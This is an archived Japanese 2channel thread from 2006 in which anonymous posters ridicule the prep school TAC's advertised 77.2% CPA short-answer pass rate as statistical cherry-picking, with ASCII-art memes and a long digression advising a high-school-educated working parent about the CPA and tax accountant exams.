5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【TAC(笑)】 T A C の 短答合格率77.2%

1 :番組の途中ですが名無しです:2006/10/03(火) 17:46:26 ID:???
短答式試験にも強いTAC。
それが今年も証明されました(笑)
http://www.cpa-tac.com/information/senyuritu.html

2 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 17:50:59 ID:???
1です。改心しました。
いま病院に行って来ました。
入院が正式決定しました。
医師に「今日にも入院したほうがいい」と勧められましたが、
準備などがあるので来週の火曜日から入院します。
治療方法があるかどうかさえわからない状態ですが、
まずいろいろと検査を受けてみます。

今日も体中の筋肉がだるくて体の置き場のない状態が続いています。
特に激しい運動をしているわけでもなく、
栄養も何とかそれなりにとれてはいるのに、
体だけが不調で日常生活がきちんと送ることができません。
これも皆さんに迷惑をかけた当然の報いだと痛感いたしております。
誠に申し訳ございませんでした。皆さんにこれ以上ご迷惑をかけないためにももう二度とここには来ません。さようなら。


3 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 17:53:27 ID:???


          ____
       / \  /\ キリッ
.     / (ー)  (ー)\
    /   ⌒(__人__)⌒ \    <TAC生の短答合格率は77.2%!!
    |      |r┬-|    |
     \     `ー'´   /
    ノ            \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  <だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      何その恣意的な本科生の定義wwwwwww
|     ノ     | |  |   \  /  )  /      会計士育てる予備校が虚偽表示しちゃだめだおwwww
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

4 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 17:54:33 ID:???
「TACの本科生コースで最後まで学習した受講生のうち、
7割5分以上が短答式試験に合格しました。」


いや、短答式試験に合格したから最後まで学習したんだろ・・・・



5 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:03:46 ID:???
これ、論文式全答練も模試の中にいれてるのか?

6 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:05:17 ID:???
このスレは公正取引委員会にマークされています

7 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:05:53 ID:???
論文式か短答式かを書いてないところがミソ



8 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:07:18 ID:???
TACはLECが判例作っちゃったのが悔しいんだろうな。
だからこうやって必死にアピってる訳だ

9 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:20:59 ID:???
“短答式”直前答練と全答練を全部受けた人でしょ?

>>4とか頭おかしいんじゃないの 読解力なさすぎ

10 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:25:42 ID:???
>>9
答練には「短答式」って入れといて、公開模試になんで「短答式」っていれてないのか説明してみろ

11 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:30:57 ID:???
全答練全2回は短答式なんですか論文式なんですか
それとも両方のことなんですか
はっきり説明してください

12 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 18:32:13 ID:???
>>9とか頭おかしいんじゃないの こんな数字信じちゃうなんてw

13 :9:2006/10/03(火) 18:52:49 ID:???
常識的に考えて、短答の合格率なんだから短答の答練模試でしょ。
「短答合格者対象の講座受講者を母集団にして短答合格率を出す」
なんて詐欺まがいのことを大手予備校がするはずがない。
解答速報もろくに作れないうさんくさい小規模校ならともかく

14 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 19:09:57 ID:???
合格者数とかで昔LECが何かしら問題起こしたことがあったよね?
あれよりひどいんじゃない、これ?

15 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 19:10:00 ID:???


          ____
       / \  /\ キリッ
.     / (ー)  (ー)\
    /   ⌒(__人__)⌒ \    <常識的に考えて、短答の合格率なんだから短答の模試でしょ。
    |      |r┬-|    |
     \     `ー'´   /
    ノ            \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  <だっておwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      9月まで集計に時間かけて1470人てwwwww
|     ノ     | |  |   \  /  )  /      短答の中間リサーチは何だったんだおwwwww
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))



16 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 19:10:27 ID:???
アリクイってよ、1日に三万匹アリ食うんだってwww
3日で九万匹www
アリいなくなっちゃうよ!
フラミンゴって、なんで片足か知ってる?
冷えるんだってよwwww
でも、水ん中入ってるんだぜ? だったら出りゃいいじゃんww
モグラのトンネル掘るスピードは
カタツムリの進む速度の1/3だってwwww 遅いよwww
得技だろよwwそのスピードなら地上でろ地上でろ!
羊は前歯が下あごにしか生えてないんだって。
その代わり上あごの歯茎が歯より固いんだってwwww
生えればいいのにww歯が生えればいいのにww
カタツムリってすげぇんだぜ。カタツムリってよ、
−120℃でも死なないんだぜ。−120℃だぜ。
普通−120度だったら動物全滅するだろ。ただカタツムリだけは氷河期になっても生き残るんだよ。
すげぇ生命力だよな。
ただよ、−120℃になるとカタツムリのエサが無いんだってwwwwwwwwwwww
「草木が生えないから結果死にますね」だってwwwwwwww

17 :sage:2006/10/03(火) 19:18:02 ID:O1QmjGRT
電話調査、はがきによるアンケート調査で判明した方による集計…

18 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 19:41:11 ID:???
>>16
柴田?

19 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 19:54:48 ID:y8iyJbQi
高卒なんですが公認会計士の合格は可能でしょうか?日商簿記2級持ってます。
ちなみに20歳の子持ちで働きながら勉強です。




20 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 19:56:56 ID:???
>>19
楽勝

21 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:01:06 ID:???
公開模試っていうのは短答2回だろうね
ただ、直前答練3回っていうのがミソ

22 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:04:06 ID:y8iyJbQi
>>20    
まじですか?

23 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:21:30 ID:???
マジです
TACに通えば77.2%の確率で合格できますよ。

24 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:24:04 ID:y8iyJbQi
>>23
本当ですか?すごいですねー
あと日商簿記1級目指すか、直接会計士目指すかどちらがいいですかね?
質問ばかりすみません

25 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:27:16 ID:???
最初から会計士目指した方がいいです
2級持ってれば1年コースでも余裕です

26 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:30:56 ID:???
>>13
大手のLECが問題起こしたばっかりだろうが
大手だからやるわけないとか、そんな常識は無い。

27 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:34:00 ID:y8iyJbQi
>>25
ありがとうございます!他のスレみていると高卒は絶対無理とか
言われていたので落ち込んでいました。
本当にありがとうございます。

28 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:41:47 ID:???
学歴関係ないから
カリキュラムどおりに真面目にできるかどうかが勝負だよ
いい大学行ってる人でもサボりまくって短答落ちてる奴たくさんいるし

29 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:45:34 ID:EbcarMEz
>>27
余裕で受かる試験はないですよ。
自分に都合のいい声だけ聞いてると後で痛い目見るよ。

30 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 20:53:19 ID:???
ネタスレで真面目なレスがあると思うな

31 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:18:48 ID:y8iyJbQi
>>29>>30
もちろん簡単に受かるとは思ってませんが、では、高卒では無理なんですか?


32 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:25:07 ID:EbcarMEz
3年は受験に専念できる環境があって、高学歴並の理解力があれば合格できるかもね。

33 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:28:35 ID:???
まあ高学歴って言っても私立文系は
3科目しかないから1年勉強すればワセショーぐらいには
簡単に受かるからなあ


34 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:29:06 ID:y8iyJbQi
残念ながら前レスでも述べたように既婚で、仕事もあるので
専念はできません。では、このような境遇の方は合格できないということですか?

35 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:33:11 ID:EbcarMEz
会計士は無理かもね。
税理士にすりゃいいじゃん。リミット無しの科目合格だし。

36 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:34:26 ID:???
>>34
高卒ウンヌンじゃなくて勉強する環境じゃあないね
税理士にしといたほうがいいよ
運命だと思って会計士はあきらめてください

37 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:37:32 ID:???
記念受験も含めて77%だろw
税理士受験生をバカにしてる分際かwwww

38 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:38:22 ID:???
・・・と万年税理士受験生のお言葉

39 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:39:32 ID:EbcarMEz
短答だけ受かっても糞の役にも立たんじゃないか。w

40 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:53:04 ID:y8iyJbQi
>>36
質問しときながら申し分けないのですが、既婚者では絶対合格できないんですか?
税理士のほうが時間がかかるような気がするのですが


41 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 21:57:58 ID:???
>>40
会計士受験生は殆どが無職や学生だよ
あなたのように仕事をしながら受験勉強なんて
経験上できるわけがないと思う


42 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 22:00:36 ID:???
>>41
20歳で子持ちというのでネタというのに・・

43 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 22:07:50 ID:???
既婚者も多くは無いけど毎年合格してるよ
本人次第
とにかくTACの言うとおりやってれば77.2%の確率で合格できるから頑張って

44 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 22:23:57 ID:y8iyJbQi
>>43
ありがとうございます。なんかやる気が出てきます。
ほんとに嬉しいです。
ちなみに私はいちいちネタのスレはしません。


45 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 22:28:16 ID:???
>>44
最後の1行は釣りなんだよな?w

46 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 23:44:08 ID:???
短答は楽勝だった
むしろ簿記1級の方がむずい

47 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 23:55:09 ID:???
>>44


48 :一般に公正妥当と認められた名無しさん:2006/10/03(火) 23:58:33 ID:y8iyJbQi
>>45
勝手に言ってて下さい。
会計士と税理士ほんとに迷います。
人生このまま終わりたくないし、なにかを成し遂げたいです。

49 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:02:30 ID:???
>>48
まだ悩んでんのかw
会計士はやめとけ。どうせ高卒は監査法人は獲らないから
この国は学歴社会ですから

50 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:06:59 ID:d68grfQr
>>48
俺も会計士はやめといたほうが良いと思うぞ。
結婚して仕事もあるんじゃ会計士受験できる環境じゃないよ。


51 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:10:10 ID:???
>>48
真面目に忠告するが、仕事をしながらの会計士試験は本当にキツイ。
普通の精神力の俺ならまず無理。

さらに、会計士試験合格したら一定の評価は受けられるだろうけど、
高卒という少数派ゆえに周りの目が厳しいのは覚悟した方がいいと思う。

52 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:10:18 ID:???
まだ20歳なら大学行けよ

53 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:15:31 ID:???
あなたは今、見に覚えの無い犯罪の容疑者となっています。

@高卒の弁護士
A大卒の弁護士

どちらにお願いしますか?

54 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:18:16 ID:???
>>53
高卒の弁護士に決まってるだろ、坊や。
どっちが親身になってくれると思ってるんだ。

55 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:19:55 ID:???
>>54
まじで?すげーな・・・

56 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:20:52 ID:hbvx8xah
>>50>>51
ご意見ありがとうございます。やっぱり働きながらだと税理士がむいてますよね。
>>52
正直、大学行きたいのですが、頭がよくないです。
資格ならそれだけを勉強するだけでいいと思うのですが、大学行くとなると
総合的な知識が必要ですよね。
しかも、大学行く時間もないし・・・お金はいくらくらい必要ですかね?
>>53
正直Aです・・・ へこみました。

57 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:21:58 ID:???
>>53
実績によるだろボケ


58 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:24:34 ID:???
ちなみに学歴を隠すことはできないからね
社員紹介で学歴が載るページが作成されますので・・
くれぐれも詐称はやめましょう
この業界狭いので噂はすぐにひろまります

59 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:24:55 ID:???
テレビ見ながら受験勉強で楽々合格。

60 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:27:49 ID:???
>>56
頭がよくないなら、会計士試験は大学いくより無理です。
税理士でも無理です。大学も行けないならば。
少なくても 早慶大<会計士・税理士 ですわ。

61 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:33:10 ID:???
大学と資格試験比べることに意味があるのかと

62 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:35:49 ID:???
>>56
あなたが本気で合格する意気込みがあるならやることです。
ここで書いてあるように、会計業界は学歴は関係ありません。
私の知り合いでも高卒の方はいますが、大卒とまったく区別されて
いないです。

また、クライアントはまず出身校なんて聞いてきませんし、気にもしません。
その人の人柄と能力で評価されます。

それは、みな会計士試験という有名大学合格よりも難易度の高い
試験に合格したというフィルターを通しているからだと思います。




63 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:47:34 ID:???
監査法人の仕事相手は大企業
大企業は高学歴派閥
高卒に仕事を任せたいと思う経営者が何人いると思ってんだか

64 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:47:43 ID:hbvx8xah
>>58
はい。学歴を偽ることはしません。
>>60
頭がよくないと言うのは総合的な知識で、英語と数学はかなり得意でした。
得意って言っても所詮高卒なんで低いレベルでしょうけど・・・
>>62
ありがとうございます。私は会計士になるって意気込んでいましたが
実際、税理士の方が自分の状況では向いている資格だという気持ちが心の隅で
あったんだと思います。
当然楽に受かれるわけがない資格だと認識しています。
目標は5年です。やはり税理士でしょうね。
本気で合格する意気込みはあります。


65 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:49:32 ID:???
つーか、大学入試も出来ないような奴が会計士受かると
思ってるあたり、DQN
難関大、大学入試から逃げるような奴が勉強続けられると思ってんのか?

66 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:50:50 ID:???
俺は会計士試験に国語なんて重要じゃないと思ってた。
数学とか数字関係が得意ならいいと思ってた。
でも実際は国語って無茶苦茶重要だよな・・・

67 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:51:11 ID:???
>>63
おれのじいちゃんは高卒だが大企業の役員になったぞ。
松下、ソニー、トヨタ、キャノンetc 
全部高卒の役員がいるぞ。

68 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:54:54 ID:???
>>66
分かるわ〜 特に理論は記憶力と論述力。
計算は読解力と運動神経。

69 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:58:00 ID:???
>ALL
しかし、64が無事会計士になる見込みはほぼ0lに依存はあるまい?


70 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:58:40 ID:???
>>67
今と昔は単純比較できない。
昔・・・大学行く人少数(大学でればそれなりに価値あり)
今・・・馬鹿でも大学行く(大学は難関行かなきゃ価値なし)

71 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 00:58:53 ID:???
異存なし。

72 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 01:04:00 ID:???
>>70

おれのじいちゃんの会社では、高卒は採用しないが、
子会社で採用して優秀な人は本社へ転籍させるらしい。
このように一流企業ではまれに総合職の高卒社員がいるが、
みな優秀なのであんがい一目おかれていると聞いた。

同様に稀に会計士に合格してきた高卒も、苦労して這い上がって
きたんだねって位置づけられるんじゃないの、経営者ともなれば。

73 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 01:15:10 ID:???
>>72
確かにそれは否定しないな。

ただ現実都内で育ったなら、大学はマストかと。
これだけ充実した教育環境があるなかで高卒は現実逃避以外考えられないかと。

あっ地方出身は別かもね。

74 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 01:15:41 ID:hbvx8xah
>>65
リアルにいいますが、逃げたわけではありません。
勉強は得意でしたし大学は行きたかったです。
ですが、自業自得ですが私は18歳での、できちゃった婚なので
いけませんでした。この事に関しては後悔はしてません。
やっぱり子供は可愛いですし。
>>67
自信が付きます。ありがとうございます。万人に1人くらいでしょうけど・・・
>>66>>68
英語が得意ということは国語も得意です。理解力もありと思います。
>>69
そう思っていただいても結構です。
そうまで言っていただくとやる気が出てきます。
ありがとうございます。


75 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 02:24:33 ID:???
なにこの釣堀

76 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 06:17:34 ID:???
11月20日の合格発表を見てから、あらためて考えてみることをおすすめします。
新試験制度で受かりやすくなったのか、それとも旧試験並みの競争試験なのか・・・
個人的には後者だと思いますけど、ご参考までに。

77 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 06:41:46 ID:???
高卒自慢に釣られ過ぎ…

78 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 08:11:20 ID:???
受験生15000人もいてTAC本科生が1500人しかいないの?
と思ったら、なにこのしばりwちゃんと全受講生の合格率出せよw

79 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 09:28:41 ID:???
>>73
72だけど、確かにじいちゃんも「地方の」高卒の中には優秀な人間も
多いって言ってたよ。都内なら考えられないね・・

>>74
あなたは、現実を直視しに書き込みしているのではなく、
現実から目をそむけるために都合のいい意見だけを見てる感じです。
僕は僭越ながら東大を出ましたが、この試験に専念して2年もかかって
しまいました。今年もまだ合格してるか分かりません。
そして、とても仕事をもとながらは合格レベルに達しなかったでしょう。

それほど、大変な試験ですから根性ややる気だけで出来るものではありません。
一つの目安として、一日に仕事以外で8時間から10時間の勉強時間が
確保できること。プラス貴方の高校時代の成績が早慶程度は狙えたこと。

僕は高卒を色眼鏡ではみないけど、書き込みを見ている限り貴方からは、
高卒特有の視野の狭さがにじみ出ているので気をつけてください。

80 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 09:56:41 ID:???
俺も高卒だけど、僻地と呼ばれかねない地方出身で、実家は畜産業で両親とも中卒。
両親も周囲も「高卒で十分だろう」という雰囲気だったので、商業高校卒。
進学校もなければ、大学受験予備校も存在しなかった。
首都圏の連中と感覚違うんだよね。
高卒かどうかって本人より、親や環境の影響が強いんじゃないのか?



81 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 10:44:00 ID:???
TAC工作員が学歴ネタで必死に工作中wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

82 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 10:44:41 ID:???
TAC(笑)

83 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 10:55:06 ID:???
どうせなら77.7%ってすればいいのに

84 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:05:56 ID:???


          ____
       / \  /\ キリッ
.     / (ー)  (ー)\
    /   ⌒(__人__)⌒ \    <TAC生の短答合格率は77.2%!!
    |      |r┬-|    |
     \     `ー'´   /
    ノ            \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  <だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      何その恣意的な本科生の定義wwwwwww
|     ノ     | |  |   \  /  )  /      会計士育てる予備校が虚偽表示しちゃだめだおwwww
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


星の数ほどある講義・山のようにかさばる答練をすべて受けていても、
「1回でも、たった1回でも」直前答練か公開模試を受けていない人は、
TAC本科を修了したと認めてもらえないそうです。
自分なりの戦略を立てた人は、TACの言うとおりにしなかった人とみなされ、
TACに50万貢いでドロップアウトした人と認定されるそうです。

85 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:06:11 ID:???
都合の悪いことには学歴話でお茶を濁すTAC生

86 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:06:46 ID:???
          ____
       / \  /\ キリッ
.     / (ー)  (ー)\
    /   ⌒(__人__)⌒ \    <短答式試験にも強いTAC。それが今年も証明されました!
    |      |r┬-|    |    TAC生の短答合格率は77.2%!!
     \     `ー'´   /
    ノ            \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  <だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      短答合格者全員TAC生かよwwwwwww
|     ノ     | |  |   \  /  )  /      何その恣意的な本科生の定義wwww
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

87 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:14:09 ID:???
TAC本科修了者で短答合格者は1,136人

全体で短答合格者は5,031人






TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)
TACの占有率はわずか20%(笑)




            T  A  C  の  占  有  率  は  わ  ず  か  20%  (笑)

88 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:16:32 ID:???
         ナ ゝ   ナ ゝ /    十_"    ー;=‐         |! |!
          cト    cト /^、_ノ  | 、.__ つ  (.__    ̄ ̄ ̄ ̄   ・ ・
ミミ:::;,!      u       `゙"~´   ヾ彡::l/VvVw、 ,yvヾNヽ  ゞヾ  ,. ,. ,. 、、ヾゝヽr=ヾ
ミ::::;/   ゙̄`ー-.、     u  ;,,;   j   ヾk'! ' l / 'レ ^ヽヘ\   ,r゙ゞ゙-"、ノ / l! !ヽ 、、 |
ミ/    J   ゙`ー、   " ;, ;;; ,;; ゙  u ヾi    ,,./ , ,、ヾヾ   | '-- 、..,,ヽ  j  ! | Nヾ|
'"       _,,.. -─ゝ.、   ;, " ;;   _,,..._ゞイ__//〃 i.! ilヾゞヽ  | 、  .r. ヾ-、;;ノ,.:-一'"i
  j    /   ,.- 、  ヾヽ、 ;; ;; _,-<  //_,,\' "' !| :l ゙i !_,,ヽ.l `ー─--  エィ' (. 7 /
      :    ' ・丿   ̄≠Ξイ´,-、 ヽ /イ´ r. `ー-'メ ,.-´、  i     u  ヾ``ー' イ
       \_    _,,......::   ´゙i、 `¨ / i ヽ.__,,... '  u ゙l´.i・j.冫,イ゙l  / ``-、..- ノ :u l
   u      ̄ ̄  彡"   、ヾ ̄``ミ::.l  u   j  i、`ー' .i / /、._    `'y   /
              u      `ヽ  ゙:l   ,.::- 、,, ,. ノ ゙ u ! /_   ̄ ー/ u /
           _,,..,,_    ,.ィ、  /   |  /__   ``- 、_    l l  ``ーt、_ /  /
  ゙   u  ,./´ "  ``- 、_J r'´  u 丿 .l,... `ー一''/   ノ  ト 、,,_____ ゙/ /
        ./__        ー7    /、 l   '゙ ヽ/  ,. '"  \`ー--- ",.::く、
       /;;;''"  ̄ ̄ ───/  ゙  ,::'  \ヾニ==='"/ `- 、   ゙ー┬ '´ / \..,,__
、      .i:⌒`─-、_,....    l   /     `ー┬一'      ヽ    :l  /  , ' `ソヽ
ヾヽ     l      `  `ヽ、 l  ./  ヽ      l         )  ,; /   ,'    '^i

89 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:31:41 ID:???
あーあーあー見えない見えない 都合の割ることはなにもわからない

90 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:34:32 ID:???
http://www.cpa-tac.com/information/senyuritu.html
>TAC本科生コースカリキュラム修了者1,470人中、
>短答式試験の合格者は1,136名

http://www.fsa.go.jp/cpaaob/kouninkaikeishi-shiken/tantougoukaku_a.html
>短答式試験合格者数 5,031人

1,136÷5,031=22.5%(笑)
短答合格者5,031人のうちTAC生は1,036人(笑)
TACの占有率は20%(笑)





       T   A   C   の   占   有   率   は   20%   (笑)





(笑)

91 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:37:35 ID:???
>>87
あとの80%は他校生?そんなにいるの?

92 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:40:53 ID:???
TACが新たなる判例を作るのかwwwwwwwwwwwwwwwww

93 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:43:31 ID:???
>>91
TAC本科生コースカリキュラム修了者で短答合格者は1,136人
<ソース:http://www.cpa-tac.com/information/senyuritu.html

全体で短答合格者は5,031人
<ソース:http://www.fsa.go.jp/cpaaob/kouninkaikeishi-shiken/tantougoukaku_a.html

【問題】
TAC本科修了者の占有率は?
<ヒント:1,136÷5,031=?>

94 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:51:11 ID:???
これまで積み重ねてきた「占有率」ってなんだったんだろうね(笑)。

95 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 11:59:08 ID:???
22.58%だ馬鹿

96 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:00:07 ID:???
最大手なのにwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
あとの80%分はどこからでたんだwwwwwwwwwwwwwwwwwwwwwww

97 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:00:23 ID:???
監査法人の説明会でもこういう都合のいい数字の抽出してる
会計士業界の習慣なのか?
真実は自分で考えろってことか。

98 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:18:37 ID:???
31年連続占有率トップはどうしたの?wwwwwwwwwwwwwwwwwwwwwwww

99 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:20:07 ID:???
占有率出すときは修了してない人もTAC生に含めてまた粉飾するよ。絶対。

100 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:23:59 ID:???
医者の不養生
教師の買春
警察官の飲酒運転








会計士予備校の粉飾決算

101 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:27:11 ID:???
司法予備校の粉飾

予備校が判例を作る

会計士予備校の粉飾←いまここ

102 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:27:33 ID:???
来年のパンフレットで占有率どうするの?まじでw

103 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 12:32:30 ID:???


          ____
       / \  /\ キリッ
.     / (ー)  (ー)\
    /   ⌒(__人__)⌒ \    <TAC生の短答合格率は77.2%!!
    |      |r┬-|    |
     \     `ー'´   /
    ノ            \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))

          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)
| / / /     |r┬-|    | (⌒)/ / / //  <だっておwwwwwwwwwwwwwwwwwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/      TAC自慢の占有率がたった20%になっちゃったおwwwwwww
|     ノ     | |  |   \  /  )  /      この先どうやって受講生騙していくつもりだおwwwwwwwwww
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
